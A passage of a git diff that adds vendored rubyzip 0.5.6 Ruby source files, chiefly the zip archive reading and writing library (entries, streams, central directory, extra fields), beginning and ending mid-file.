@@cleanlist.delete(@tmpname) if @@cleanlist + end + alias delete unlink + + if RUBY_VERSION > '1.8.0' + def __setobj__(obj) + @_dc_obj = obj + end + else + def __setobj__(obj) + @obj = obj + end + end + + # Returns the full path name of the temporary file. + def path + @tmpname + end + + # Returns the size of the temporary file. As a side effect, the IO + # buffer is flushed before determining the size. + def size + if @tmpfile + @tmpfile.flush + @tmpfile.stat.size + else + 0 + end + end + alias length size + + class << self + def callback(data) # :nodoc: + pid = $$ + lambda{ + if pid == $$ + path, tmpfile, cleanlist = *data + + print "removing ", path, "..." if $DEBUG + + tmpfile.close if tmpfile + + # keep this order for thread safeness + File.unlink(path) if File.exist?(path) + cleanlist.delete(path) if cleanlist + + print "done\n" if $DEBUG + end + } + end + + # If no block is given, this is a synonym for new(). + # + # If a block is given, it will be passed tempfile as an argument, + # and the tempfile will automatically be closed when the block + # terminates. In this case, open() returns nil. + def open(*args) + tempfile = new(*args) + + if block_given? + begin + yield(tempfile) + ensure + tempfile.close + end + + nil + else + tempfile + end + end + end +end + +end # module BugFix +if __FILE__ == $0 +# $DEBUG = true + f = Tempfile.new("foo") + f.print("foo\n") + f.close + f.open + p f.gets # => "foo\n" + f.close! +end diff --git a/vendor/rubyzip-0.5.6/zip/zip.rb b/vendor/rubyzip-0.5.6/zip/zip.rb new file mode 100755 index 00000000..2ad17658 --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/zip.rb @@ -0,0 +1,1376 @@ +require 'delegate' +require 'singleton' +require 'tempfile' +require 'ftools' +require 'zlib' +require 'zip/stdrubyext' +require 'zip/ioextras' + +if Tempfile.superclass == SimpleDelegator + require 'zip/tempfile_bugfixed' + Tempfile = BugFix::Tempfile +end + +module Zlib + if ! const_defined? :MAX_WBITS + MAX_WBITS = Zlib::Deflate.MAX_WBITS + end +end + +module Zip + + RUBY_MINOR_VERSION = RUBY_VERSION.split(".")[1].to_i + + # Ruby 1.7.x compatibility + # In ruby 1.6.x and 1.8.0 reading from an empty stream returns + # an empty string the first time and then nil. + # not so in 1.7.x + EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST = RUBY_MINOR_VERSION != 7 + + class ZipInputStream + include IOExtras::AbstractInputStream + + def initialize(filename, offset = 0) + super() + @archiveIO = File.open(filename, "rb") + @archiveIO.seek(offset, IO::SEEK_SET) + @decompressor = NullDecompressor.instance + @currentEntry = nil + end + + def close + @archiveIO.close + end + + def ZipInputStream.open(filename) + return new(filename) unless block_given? + + zio = new(filename) + yield zio + ensure + zio.close if zio + end + + def get_next_entry + @archiveIO.seek(@currentEntry.next_header_offset, + IO::SEEK_SET) if @currentEntry + open_entry + end + + def rewind + return if @currentEntry.nil? + @lineno = 0 + @archiveIO.seek(@currentEntry.localHeaderOffset, + IO::SEEK_SET) + open_entry + end + + def open_entry + @currentEntry = ZipEntry.read_local_entry(@archiveIO) + if (@currentEntry == nil) + @decompressor = NullDecompressor.instance + elsif @currentEntry.compression_method == ZipEntry::STORED + @decompressor = PassThruDecompressor.new(@archiveIO, + @currentEntry.size) + elsif @currentEntry.compression_method == ZipEntry::DEFLATED + @decompressor = Inflater.new(@archiveIO) + else + raise ZipCompressionMethodError, + "Unsupported compression method #{@currentEntry.compression_method}" + end + flush + return @currentEntry + end + + def read(numberOfBytes = nil) + @decompressor.read(numberOfBytes) + end + protected + def produce_input + @decompressor.produce_input + end + + def input_finished? + @decompressor.input_finished? + end + end + + + + class Decompressor #:nodoc:all + CHUNK_SIZE=32768 + def initialize(inputStream) + super() + @inputStream=inputStream + end + end + + class Inflater < Decompressor #:nodoc:all + def initialize(inputStream) + super + @zlibInflater = Zlib::Inflate.new(-Zlib::MAX_WBITS) + @outputBuffer="" + @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST + end + + def read(numberOfBytes = nil) + readEverything = (numberOfBytes == nil) + while (readEverything || @outputBuffer.length < numberOfBytes) + break if internal_input_finished? + @outputBuffer << internal_produce_input + end + return value_when_finished if @outputBuffer.length==0 && input_finished? + endIndex= numberOfBytes==nil ? @outputBuffer.length : numberOfBytes + return @outputBuffer.slice!(0...endIndex) + end + + def produce_input + if (@outputBuffer.empty?) + return internal_produce_input + else + return @outputBuffer.slice!(0...(@outputBuffer.length)) + end + end + + # to be used with produce_input, not read (as read may still have more data cached) + def input_finished? + @outputBuffer.empty? && internal_input_finished? + end + + private + + def internal_produce_input + @zlibInflater.inflate(@inputStream.read(Decompressor::CHUNK_SIZE)) + end + + def internal_input_finished? + @zlibInflater.finished? + end + + # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? + def value_when_finished # mimic behaviour of ruby File object. + return nil if @hasReturnedEmptyString + @hasReturnedEmptyString=true + return "" + end + end + + class PassThruDecompressor < Decompressor #:nodoc:all + def initialize(inputStream, charsToRead) + super inputStream + @charsToRead = charsToRead + @readSoFar = 0 + @hasReturnedEmptyString = ! EMPTY_FILE_RETURNS_EMPTY_STRING_FIRST + end + + # TODO: Specialize to handle different behaviour in ruby > 1.7.0 ? + def read(numberOfBytes = nil) + if input_finished? + hasReturnedEmptyStringVal=@hasReturnedEmptyString + @hasReturnedEmptyString=true + return "" unless hasReturnedEmptyStringVal + return nil + end + + if (numberOfBytes == nil || @readSoFar+numberOfBytes > @charsToRead) + numberOfBytes = @charsToRead-@readSoFar + end + @readSoFar += numberOfBytes + @inputStream.read(numberOfBytes) + end + + def produce_input + read(Decompressor::CHUNK_SIZE) + end + + def input_finished? + (@readSoFar >= @charsToRead) + end + end + + class NullDecompressor #:nodoc:all + include Singleton + def read(numberOfBytes = nil) + nil + end + + def produce_input + nil + end + + def input_finished? + true + end + end + + class NullInputStream < NullDecompressor #:nodoc:all + include IOExtras::AbstractInputStream + end + + class ZipEntry + STORED = 0 + DEFLATED = 8 + + attr_accessor :comment, :compressed_size, :crc, :extra, :compression_method, + :name, :size, :localHeaderOffset, :zipfile, :fstype, :externalFileAttributes + + def initialize(zipfile = "", name = "", comment = "", extra = "", + compressed_size = 0, crc = 0, + compression_method = ZipEntry::DEFLATED, size = 0, + time = Time.now) + super() + if name.starts_with("/") + raise ZipEntryNameError, "Illegal ZipEntry name '#{name}', name must not start with /" + end + @localHeaderOffset = 0 + @internalFileAttributes = 1 + @externalFileAttributes = 0 + @version = 52 # this library's version + @fstype = 0 # default is fat + @zipfile, @comment, @compressed_size, @crc, @extra, @compression_method, + @name, @size = zipfile, comment, compressed_size, crc, + extra, compression_method, name, size + @time = time + unless ZipExtraField === @extra + @extra = ZipExtraField.new(@extra.to_s) + end + end + + def time + if @extra["UniversalTime"] + @extra["UniversalTime"].mtime + else + # Atandard time field in central directory has local time + # under archive creator. Then, we can't get timezone. + @time + end + end + alias :mtime :time + + def time=(aTime) + unless @extra.member?("UniversalTime") + @extra.create("UniversalTime") + end + @extra["UniversalTime"].mtime = aTime + @time = aTime + end + + def directory? + return (%r{\/$} =~ @name) != nil + end + alias :is_directory :directory? + + def file? + ! directory? + end + + def local_entry_offset #:nodoc:all + localHeaderOffset + local_header_size + end + + def local_header_size #:nodoc:all + LOCAL_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + (@extra ? @extra.local_size : 0) + end + + def cdir_header_size #:nodoc:all + CDIR_ENTRY_STATIC_HEADER_LENGTH + (@name ? @name.size : 0) + + (@extra ? @extra.c_dir_size : 0) + (@comment ? @comment.size : 0) + end + + def next_header_offset #:nodoc:all + local_entry_offset + self.compressed_size + end + + def to_s + @name + end + + protected + + def ZipEntry.read_zip_short(io) + io.read(2).unpack('v')[0] + end + + def ZipEntry.read_zip_long(io) + io.read(4).unpack('V')[0] + end + public + + LOCAL_ENTRY_SIGNATURE = 0x04034b50 + LOCAL_ENTRY_STATIC_HEADER_LENGTH = 30 + + def read_local_entry(io) #:nodoc:all + @localHeaderOffset = io.tell + staticSizedFieldsBuf = io.read(LOCAL_ENTRY_STATIC_HEADER_LENGTH) + unless (staticSizedFieldsBuf.size==LOCAL_ENTRY_STATIC_HEADER_LENGTH) + raise ZipError, "Premature end of file. Not enough data for zip entry local header" + end + + localHeader , + @version , + @fstype , + @gpFlags , + @compression_method, + lastModTime , + lastModDate , + @crc , + @compressed_size , + @size , + nameLength , + extraLength = staticSizedFieldsBuf.unpack('VCCvvvvVVVvv') + + unless (localHeader == LOCAL_ENTRY_SIGNATURE) + raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" + end + set_time(lastModDate, lastModTime) + + @name = io.read(nameLength) + extra = io.read(extraLength) + + if (extra && extra.length != extraLength) + raise ZipError, "Truncated local zip entry header" + else + if ZipExtraField === @extra + @extra.merge(extra) + else + @extra = ZipExtraField.new(extra) + end + end + end + + def ZipEntry.read_local_entry(io) + entry = new(io.path) + entry.read_local_entry(io) + return entry + rescue ZipError + return nil + end + + def write_local_entry(io) #:nodoc:all + @localHeaderOffset = io.tell + + io << + [LOCAL_ENTRY_SIGNATURE , + 0 , + 0 , # @gpFlags , + @compression_method , + @time.to_binary_dos_time , # @lastModTime , + @time.to_binary_dos_date , # @lastModDate , + @crc , + @compressed_size , + @size , + @name ? @name.length : 0, + @extra? @extra.local_length : 0 ].pack('VvvvvvVVVvv') + io << @name + io << (@extra ? @extra.to_local_bin : "") + end + + CENTRAL_DIRECTORY_ENTRY_SIGNATURE = 0x02014b50 + CDIR_ENTRY_STATIC_HEADER_LENGTH = 46 + + def read_c_dir_entry(io) #:nodoc:all + staticSizedFieldsBuf = io.read(CDIR_ENTRY_STATIC_HEADER_LENGTH) + unless (staticSizedFieldsBuf.size == CDIR_ENTRY_STATIC_HEADER_LENGTH) + raise ZipError, "Premature end of file. Not enough data for zip cdir entry header" + end + + cdirSignature , + @version , # version of encoding software + @fstype , # filesystem type + @versionNeededToExtract, + @gpFlags , + @compression_method , + lastModTime , + lastModDate , + @crc , + @compressed_size , + @size , + nameLength , + extraLength , + commentLength , + diskNumberStart , + @internalFileAttributes, + @externalFileAttributes, + @localHeaderOffset , + @name , + @extra , + @comment = staticSizedFieldsBuf.unpack('VCCvvvvvVVVvvvvvVV') + + unless (cdirSignature == CENTRAL_DIRECTORY_ENTRY_SIGNATURE) + raise ZipError, "Zip local header magic not found at location '#{localHeaderOffset}'" + end + set_time(lastModDate, lastModTime) + + @name = io.read(nameLength) + if ZipExtraField === @extra + @extra.merge(io.read(extraLength)) + else + @extra = ZipExtraField.new(io.read(extraLength)) + end + @comment = io.read(commentLength) + unless (@comment && @comment.length == commentLength) + raise ZipError, "Truncated cdir zip entry header" + end + end + + def ZipEntry.read_c_dir_entry(io) #:nodoc:all + entry = new(io.path) + entry.read_c_dir_entry(io) + return entry + rescue ZipError + return nil + end + + + def write_c_dir_entry(io) #:nodoc:all + io << + [CENTRAL_DIRECTORY_ENTRY_SIGNATURE, + @version , # version of encoding software + @fstype , # filesystem type + 0 , # @versionNeededToExtract , + 0 , # @gpFlags , + @compression_method , + @time.to_binary_dos_time , # @lastModTime , + @time.to_binary_dos_date , # @lastModDate , + @crc , + @compressed_size , + @size , + @name ? @name.length : 0 , + @extra ? @extra.c_dir_length : 0 , + @comment ? comment.length : 0 , + 0 , # disk number start + @internalFileAttributes , # file type (binary=0, text=1) + @externalFileAttributes , # native filesystem attributes + @localHeaderOffset , + @name , + @extra , + @comment ].pack('VCCvvvvvVVVvvvvvVV') + + io << @name + io << (@extra ? @extra.to_c_dir_bin : "") + io << @comment + end + + def == (other) + return false unless other.class == ZipEntry + # Compares contents of local entry and exposed fields + (@compression_method == other.compression_method && + @crc == other.crc && + @compressed_size == other.compressed_size && + @size == other.size && + @name == other.name && + @extra == other.extra && + self.time.dos_equals(other.time)) + end + + def <=> (other) + return to_s <=> other.to_s + end + + def get_input_stream + zis = ZipInputStream.new(@zipfile, localHeaderOffset) + zis.get_next_entry + if block_given? + begin + return yield(zis) + ensure + zis.close + end + else + return zis + end + end + + + def write_to_zip_output_stream(aZipOutputStream) #:nodoc:all + aZipOutputStream.copy_raw_entry(self) + end + + def parent_as_string + entry_name = name.chomp("/") + slash_index = entry_name.rindex("/") + slash_index ? entry_name.slice(0, slash_index+1) : nil + end + + def get_raw_input_stream(&aProc) + File.open(@zipfile, "rb", &aProc) + end + + private + def set_time(binaryDosDate, binaryDosTime) + @time = Time.parse_binary_dos_format(binaryDosDate, binaryDosTime) + rescue ArgumentError + puts "Invalid date/time in zip entry" + end + end + + + class ZipOutputStream + include IOExtras::AbstractOutputStream + + attr_accessor :comment + + def initialize(fileName) + super() + @fileName = fileName + @outputStream = File.new(@fileName, "wb") + @entrySet = ZipEntrySet.new + @compressor = NullCompressor.instance + @closed = false + @currentEntry = nil + @comment = nil + end + + def ZipOutputStream.open(fileName) + return new(fileName) unless block_given? + zos = new(fileName) + yield zos + ensure + zos.close if zos + end + + def close + return if @closed + finalize_current_entry + update_local_headers + write_central_directory + @outputStream.close + @closed = true + end + + def put_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION) + raise ZipError, "zip stream is closed" if @closed + newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@fileName, entry.to_s) + init_next_entry(newEntry) + @currentEntry=newEntry + end + + def copy_raw_entry(entry) + entry = entry.dup + raise ZipError, "zip stream is closed" if @closed + raise ZipError, "entry is not a ZipEntry" if !entry.kind_of?(ZipEntry) + finalize_current_entry + @entrySet << entry + src_pos = entry.local_entry_offset + entry.write_local_entry(@outputStream) + @compressor = NullCompressor.instance + @outputStream << entry.get_raw_input_stream { + |is| + is.seek(src_pos, IO::SEEK_SET) + is.read(entry.compressed_size) + } + @compressor = NullCompressor.instance + @currentEntry = nil + end + + private + def finalize_current_entry + return unless @currentEntry + finish + @currentEntry.compressed_size = @outputStream.tell - @currentEntry.localHeaderOffset - + @currentEntry.local_header_size + @currentEntry.size = @compressor.size + @currentEntry.crc = @compressor.crc + @currentEntry = nil + @compressor = NullCompressor.instance + end + + def init_next_entry(entry, level = Zlib::DEFAULT_COMPRESSION) + finalize_current_entry + @entrySet << entry + entry.write_local_entry(@outputStream) + @compressor = get_compressor(entry, level) + end + + def get_compressor(entry, level) + case entry.compression_method + when ZipEntry::DEFLATED then Deflater.new(@outputStream, level) + when ZipEntry::STORED then PassThruCompressor.new(@outputStream) + else raise ZipCompressionMethodError, + "Invalid compression method: '#{entry.compression_method}'" + end + end + + def update_local_headers + pos = @outputStream.tell + @entrySet.each { + |entry| + @outputStream.pos = entry.localHeaderOffset + entry.write_local_entry(@outputStream) + } + @outputStream.pos = pos + end + + def write_central_directory + cdir = ZipCentralDirectory.new(@entrySet, @comment) + cdir.write_to_stream(@outputStream) + end + + protected + + def finish + @compressor.finish + end + + public + def << (data) + @compressor << data + end + end + + + class Compressor #:nodoc:all + def finish + end + end + + class PassThruCompressor < Compressor #:nodoc:all + def initialize(outputStream) + super() + @outputStream = outputStream + @crc = Zlib::crc32 + @size = 0 + end + + def << (data) + val = data.to_s + @crc = Zlib::crc32(val, @crc) + @size += val.size + @outputStream << val + end + + attr_reader :size, :crc + end + + class NullCompressor < Compressor #:nodoc:all + include Singleton + + def << (data) + raise IOError, "closed stream" + end + + attr_reader :size, :compressed_size + end + + class Deflater < Compressor #:nodoc:all + def initialize(outputStream, level = Zlib::DEFAULT_COMPRESSION) + super() + @outputStream = outputStream + @zlibDeflater = Zlib::Deflate.new(level, -Zlib::MAX_WBITS) + @size = 0 + @crc = Zlib::crc32 + end + + def << (data) + val = data.to_s + @crc = Zlib::crc32(val, @crc) + @size += val.size + @outputStream << @zlibDeflater.deflate(data) + end + + def finish + until @zlibDeflater.finished? + @outputStream << @zlibDeflater.finish + end + end + + attr_reader :size, :crc + end + + + class ZipEntrySet + include Enumerable + + def initialize(anEnumerable = []) + super() + @entrySet = {} + anEnumerable.each { |o| push(o) } + end + + def include?(entry) + @entrySet.include?(entry.to_s) + end + + def <<(entry) + @entrySet[entry.to_s] = entry + end + alias :push :<< + + def size + @entrySet.size + end + alias :length :size + + def delete(entry) + @entrySet.delete(entry.to_s) ? entry : nil + end + + def each(&aProc) + @entrySet.values.each(&aProc) + end + + def entries + @entrySet.values + end + + # deep clone + def dup + newZipEntrySet = ZipEntrySet.new(@entrySet.values.map { |e| e.dup }) + end + + def == (other) + return false unless other.kind_of?(ZipEntrySet) + return @entrySet == other.entrySet + end + + def parent(entry) + @entrySet[entry.parent_as_string] + end + +#TODO attr_accessor :auto_create_directories + protected + attr_accessor :entrySet + end + + + class ZipCentralDirectory #:nodoc:all + include Enumerable + + END_OF_CENTRAL_DIRECTORY_SIGNATURE = 0x06054b50 + MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE = 65536 + 18 + STATIC_EOCD_SIZE = 22 + + attr_reader :comment + + def entries + @entrySet.entries + end + + def initialize(entries = ZipEntrySet.new, comment = "") + super() + @entrySet = entries.kind_of?(ZipEntrySet) ? entries : ZipEntrySet.new(entries) + @comment = comment + end + + def write_to_stream(io) + offset = io.tell + @entrySet.each { |entry| entry.write_c_dir_entry(io) } + write_e_o_c_d(io, offset) + end + + def write_e_o_c_d(io, offset) + io << + [END_OF_CENTRAL_DIRECTORY_SIGNATURE, + 0 , # @numberOfThisDisk + 0 , # @numberOfDiskWithStartOfCDir + @entrySet? @entrySet.size : 0 , + @entrySet? @entrySet.size : 0 , + cdir_size , + offset , + @comment ? @comment.length : 0 ].pack('VvvvvVVv') + io << @comment + end + private :write_e_o_c_d + + def cdir_size + # does not include eocd + @entrySet.inject(0) { |value, entry| entry.cdir_header_size + value } + end + private :cdir_size + + def read_e_o_c_d(io) + buf = get_e_o_c_d(io) + @numberOfThisDisk = ZipEntry::read_zip_short(buf) + @numberOfDiskWithStartOfCDir = ZipEntry::read_zip_short(buf) + @totalNumberOfEntriesInCDirOnThisDisk = ZipEntry::read_zip_short(buf) + @size = ZipEntry::read_zip_short(buf) + @sizeInBytes = ZipEntry::read_zip_long(buf) + @cdirOffset = ZipEntry::read_zip_long(buf) + commentLength = ZipEntry::read_zip_short(buf) + @comment = buf.read(commentLength) + raise ZipError, "Zip consistency problem while reading eocd structure" unless buf.size == 0 + end + + def read_central_directory_entries(io) + begin + io.seek(@cdirOffset, IO::SEEK_SET) + rescue Errno::EINVAL + raise ZipError, "Zip consistency problem while reading central directory entry" + end + @entrySet = ZipEntrySet.new + @size.times { + @entrySet << ZipEntry.read_c_dir_entry(io) + } + end + + def read_from_stream(io) + read_e_o_c_d(io) + read_central_directory_entries(io) + end + + def get_e_o_c_d(io) + begin + io.seek(-MAX_END_OF_CENTRAL_DIRECTORY_STRUCTURE_SIZE, IO::SEEK_END) + rescue Errno::EINVAL + io.seek(0, IO::SEEK_SET) + rescue Errno::EFBIG # FreeBSD 4.9 returns Errno::EFBIG instead of Errno::EINVAL + io.seek(0, IO::SEEK_SET) + end + buf = io.read + sigIndex = buf.rindex([END_OF_CENTRAL_DIRECTORY_SIGNATURE].pack('V')) + raise ZipError, "Zip end of central directory signature not found" unless sigIndex + buf=buf.slice!((sigIndex+4)...(buf.size)) + def buf.read(count) + slice!(0, count) + end + return buf + end + + def each(&proc) + @entrySet.each(&proc) + end + + def size + @entrySet.size + end + + def ZipCentralDirectory.read_from_stream(io) + cdir = new + cdir.read_from_stream(io) + return cdir + rescue ZipError + return nil + end + + def == (other) + return false unless other.kind_of?(ZipCentralDirectory) + @entrySet.entries.sort == other.entries.sort && comment == other.comment + end + end + + + class ZipError < StandardError ; end + + class ZipEntryExistsError < ZipError; end + class ZipDestinationFileExistsError < ZipError; end + class ZipCompressionMethodError < ZipError; end + class ZipEntryNameError < ZipError; end + + class ZipFile < ZipCentralDirectory + + CREATE = 1 + + attr_reader :name + + def initialize(fileName, create = nil) + super() + @name = fileName + @comment = "" + if (File.exists?(fileName)) + File.open(name, "rb") { |f| read_from_stream(f) } + elsif (create == ZipFile::CREATE) + @entrySet = ZipEntrySet.new + else + raise ZipError, "File #{fileName} not found" + end + @create = create + @storedEntries = @entrySet.dup + end + + def ZipFile.open(fileName, create = nil) + zf = ZipFile.new(fileName, create) + if block_given? + begin + yield zf + ensure + zf.close + end + else + zf + end + end + + attr_accessor :comment + + def ZipFile.foreach(aZipFileName, &block) + ZipFile.open(aZipFileName) { + |zipFile| + zipFile.each(&block) + } + end + + def get_input_stream(entry, &aProc) + get_entry(entry).get_input_stream(&aProc) + end + + def get_output_stream(entry, &aProc) + newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) + if newEntry.directory? + raise ArgumentError, + "cannot open stream to directory entry - '#{newEntry}'" + end + zipStreamableEntry = ZipStreamableStream.new(newEntry) + @entrySet << zipStreamableEntry + zipStreamableEntry.get_output_stream(&aProc) + end + + def to_s + @name + end + + def read(entry) + get_input_stream(entry) { |is| is.read } + end + + def add(entry, srcPath, &continueOnExistsProc) + continueOnExistsProc ||= proc { false } + check_entry_exists(entry, continueOnExistsProc, "add") + newEntry = entry.kind_of?(ZipEntry) ? entry : ZipEntry.new(@name, entry.to_s) + if is_directory(newEntry, srcPath) + @entrySet << ZipStreamableDirectory.new(newEntry) + else + @entrySet << ZipStreamableFile.new(newEntry, srcPath) + end + end + + def remove(entry) + @entrySet.delete(get_entry(entry)) + end + + def rename(entry, newName, &continueOnExistsProc) + foundEntry = get_entry(entry) + check_entry_exists(newName, continueOnExistsProc, "rename") + foundEntry.name=newName + end + + def replace(entry, srcPath) + check_file(srcPath) + add(remove(entry), srcPath) + end + + def extract(entry, destPath, &onExistsProc) + onExistsProc ||= proc { false } + foundEntry = get_entry(entry) + if foundEntry.is_directory + create_directory(foundEntry, destPath, &onExistsProc) + else + write_file(foundEntry, destPath, &onExistsProc) + end + end + + def commit + return if ! commit_required? + on_success_replace(name) { + |tmpFile| + ZipOutputStream.open(tmpFile) { + |zos| + + @entrySet.each { |e| e.write_to_zip_output_stream(zos) } + zos.comment = comment + } + true + } + initialize(name) + end + + def close + commit + end + + def commit_required? + return @entrySet != @storedEntries || @create == ZipFile::CREATE + end + + def find_entry(entry) + @entrySet.detect { + |e| + e.name.sub(/\/$/, "") == entry.to_s.sub(/\/$/, "") + } + end + + def get_entry(entry) + selectedEntry = find_entry(entry) + unless selectedEntry + raise Errno::ENOENT, entry + end + return selectedEntry + end + + def mkdir(entryName, permissionInt = 0) #permissionInt ignored + if find_entry(entryName) + raise Errno::EEXIST, "File exists - #{entryName}" + end + @entrySet << ZipStreamableDirectory.new(ZipEntry.new(name, entryName.to_s.ensure_end("/"))) + end + + private + + def create_directory(entry, destPath) + if File.directory? destPath + return + elsif File.exists? destPath + if block_given? && yield(entry, destPath) + File.rm_f destPath + else + raise ZipDestinationFileExistsError, + "Cannot create directory '#{destPath}'. "+ + "A file already exists with that name" + end + end + Dir.mkdir destPath + end + + def is_directory(newEntry, srcPath) + srcPathIsDirectory = File.directory?(srcPath) + if newEntry.is_directory && ! srcPathIsDirectory + raise ArgumentError, + "entry name '#{newEntry}' indicates directory entry, but "+ + "'#{srcPath}' is not a directory" + elsif ! newEntry.is_directory && srcPathIsDirectory + newEntry.name += "/" + end + return newEntry.is_directory && srcPathIsDirectory + end + + def check_entry_exists(entryName, continueOnExistsProc, procedureName) + continueOnExistsProc ||= proc { false } + if @entrySet.detect { |e| e.name == entryName } + if continueOnExistsProc.call + remove get_entry(entryName) + else + raise ZipEntryExistsError, + procedureName+" failed. Entry #{entryName} already exists" + end + end + end + + def write_file(entry, destPath, continueOnExistsProc = proc { false }) + if File.exists?(destPath) && ! yield(entry, destPath) + raise ZipDestinationFileExistsError, + "Destination '#{destPath}' already exists" + end + File.open(destPath, "wb") { + |os| + entry.get_input_stream { |is| os << is.read } + } + end + + def check_file(path) + unless File.readable? path + raise Errno::ENOENT, path + end + end + + def on_success_replace(aFilename) + tmpfile = get_tempfile + tmpFilename = tmpfile.path + tmpfile.close + if yield tmpFilename + File.move(tmpFilename, name) + end + end + + def get_tempfile + tempFile = Tempfile.new(File.basename(name), File.dirname(name)) + tempFile.binmode + tempFile + end + + end + + class ZipStreamableFile < DelegateClass(ZipEntry) #:nodoc:all + def initialize(entry, filepath) + super(entry) + @delegate = entry + @filepath = filepath + end + + def get_input_stream(&aProc) + File.open(@filepath, "rb", &aProc) + end + + def write_to_zip_output_stream(aZipOutputStream) + aZipOutputStream.put_next_entry(self) + aZipOutputStream << get_input_stream { |is| is.read } + end + + def == (other) + return false unless other.class == ZipStreamableFile + @filepath == other.filepath && super(other.delegate) + end + + protected + attr_reader :filepath, :delegate + end + + class ZipStreamableDirectory < DelegateClass(ZipEntry) #:nodoc:all + def initialize(entry) + super(entry) + end + + def get_input_stream(&aProc) + return yield(NullInputStream.instance) if block_given? + NullInputStream.instance + end + + def write_to_zip_output_stream(aZipOutputStream) + aZipOutputStream.put_next_entry(self) + end + end + + class ZipStreamableStream < DelegateClass(ZipEntry) #nodoc:all + def initialize(entry) + super(entry) + @tempFile = Tempfile.new(File.basename(name), File.dirname(zipfile)) + @tempFile.binmode + end + + def get_output_stream + if block_given? + begin + yield(@tempFile) + ensure + @tempFile.close + end + else + @tempFile + end + end + + def get_input_stream + if ! @tempFile.closed? + raise StandardError, "cannot open entry for reading while its open for writing - #{name}" + end + @tempFile.open # reopens tempfile from top + if block_given? + begin + yield(@tempFile) + ensure + @tempFile.close + end + else + @tempFile + end + end + + def write_to_zip_output_stream(aZipOutputStream) + aZipOutputStream.put_next_entry(self) + aZipOutputStream << get_input_stream { |is| is.read } + end + end + + class ZipExtraField < Hash + ID_MAP = {} + + # Meta class for extra fields + class Generic + def self.register_map + if self.const_defined?(:HEADER_ID) + ID_MAP[self.const_get(:HEADER_ID)] = self + end + end + + def self.name + self.to_s.split("::")[-1] + end + + # return field [size, content] or false + def initial_parse(binstr) + if ! binstr + # If nil, start with empty. + return false + elsif binstr[0,2] != self.class.const_get(:HEADER_ID) + $stderr.puts "Warning: weired extra feild header ID. skip parsing" + return false + end + [binstr[2,2].unpack("v")[0], binstr[4..-1]] + end + + def ==(other) + self.class != other.class and return false + each { |k, v| + v != other[k] and return false + } + true + end + + def to_local_bin + s = pack_for_local + self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s + end + + def to_c_dir_bin + s = pack_for_c_dir + self.class.const_get(:HEADER_ID) + [s.length].pack("v") + s + end + end + + # Info-ZIP Additional timestamp field + class UniversalTime < Generic + HEADER_ID = "UT" + register_map + + def initialize(binstr = nil) + @ctime = nil + @mtime = nil + @atime = nil + @flag = nil + binstr and merge(binstr) + end + attr_accessor :atime, :ctime, :mtime, :flag + + def merge(binstr) + binstr == "" and return + size, content = initial_parse(binstr) + size or return + @flag, mtime, atime, ctime = content.unpack("CVVV") + mtime and @mtime ||= Time.at(mtime) + atime and @atime ||= Time.at(atime) + ctime and @ctime ||= Time.at(ctime) + end + + def ==(other) + @mtime == other.mtime && + @atime == other.atime && + @ctime == other.ctime + end + + def pack_for_local + s = [@flag].pack("C") + @flag & 1 != 0 and s << [@mtime.to_i].pack("V") + @flag & 2 != 0 and s << [@atime.to_i].pack("V") + @flag & 4 != 0 and s << [@ctime.to_i].pack("V") + s + end + + def pack_for_c_dir + s = [@flag].pack("C") + @flag & 1 == 1 and s << [@mtime.to_i].pack("V") + s + end + end + + # Info-ZIP Extra for UNIX uid/gid + class IUnix < Generic + HEADER_ID = "Ux" + register_map + + def initialize(binstr = nil) + @uid = nil + @gid = nil + binstr and merge(binstr) + end + attr_accessor :uid, :gid + + def merge(binstr) + binstr == "" and return + size, content = initial_parse(binstr) + # size: 0 for central direcotry. 4 for local header + return if(! size || size == 0) + uid, gid = content.unpack("vv") + @uid ||= uid + @gid ||= gid + end + + def ==(other) + @uid == other.uid && + @gid == other.gid + end + + def pack_for_local + [@uid, @gid].pack("vv") + end + + def pack_for_c_dir + "" + end + end + + ## start main of ZipExtraField < Hash + def initialize(binstr = nil) + binstr and merge(binstr) + end + + def merge(binstr) + binstr == "" and return + i = 0 + while i < binstr.length + id = binstr[i,2] + len = binstr[i+2,2].to_s.unpack("v")[0] + if id && ID_MAP.member?(id) + field_name = ID_MAP[id].name + if self.member?(field_name) + self[field_name].mergea(binstr[i, len+4]) + else + field_obj = ID_MAP[id].new(binstr[i, len+4]) + self[field_name] = field_obj + end + elsif id + unless self["Unknown"] + s = "" + class << s + alias_method :to_c_dir_bin, :to_s + alias_method :to_local_bin, :to_s + end + self["Unknown"] = s + end + if ! len || len+4 > binstr[i..-1].length + self["Unknown"] << binstr[i..-1] + break; + end + self["Unknown"] << binstr[i, len+4] + end + i += len+4 + end + end + + def create(name) + field_class = nil + ID_MAP.each { |id, klass| + if klass.name == name + field_class = klass + break + end + } + if ! field_class + raise ZipError, "Unknown extra field '#{name}'" + end + self[name] = field_class.new() + end + + def to_local_bin + s = "" + each { |k, v| + s << v.to_local_bin + } + s + end + alias :to_s :to_local_bin + + def to_c_dir_bin + s = "" + each { |k, v| + s << v.to_c_dir_bin + } + s + end + + def c_dir_length + to_c_dir_bin.length + end + def local_length + to_local_bin.length + end + alias :c_dir_size :c_dir_length + alias :local_size :local_length + alias :length :local_length + alias :size :local_length + end # end ZipExtraField + +end # Zip namespace module + + + +# Copyright (C) 2002, 2003 Thomas Sondergaard +# rubyzip is free software; you can redistribute it and/or +# modify it under the terms of the ruby license. diff --git a/vendor/rubyzip-0.5.6/zip/zipfilesystem.rb b/vendor/rubyzip-0.5.6/zip/zipfilesystem.rb new file mode 100755 index 00000000..3db200f5 --- /dev/null +++ b/vendor/rubyzip-0.5.6/zip/zipfilesystem.rb @@ -0,0 +1,558 @@ +require 'zip/zip' + +module Zip + module ZipFileSystem + + def initialize + mappedZip = ZipFileNameMapper.new(self) + @zipFsDir = ZipFsDir.new(mappedZip) + @zipFsFile = ZipFsFile.new(mappedZip) + @zipFsDir.file = 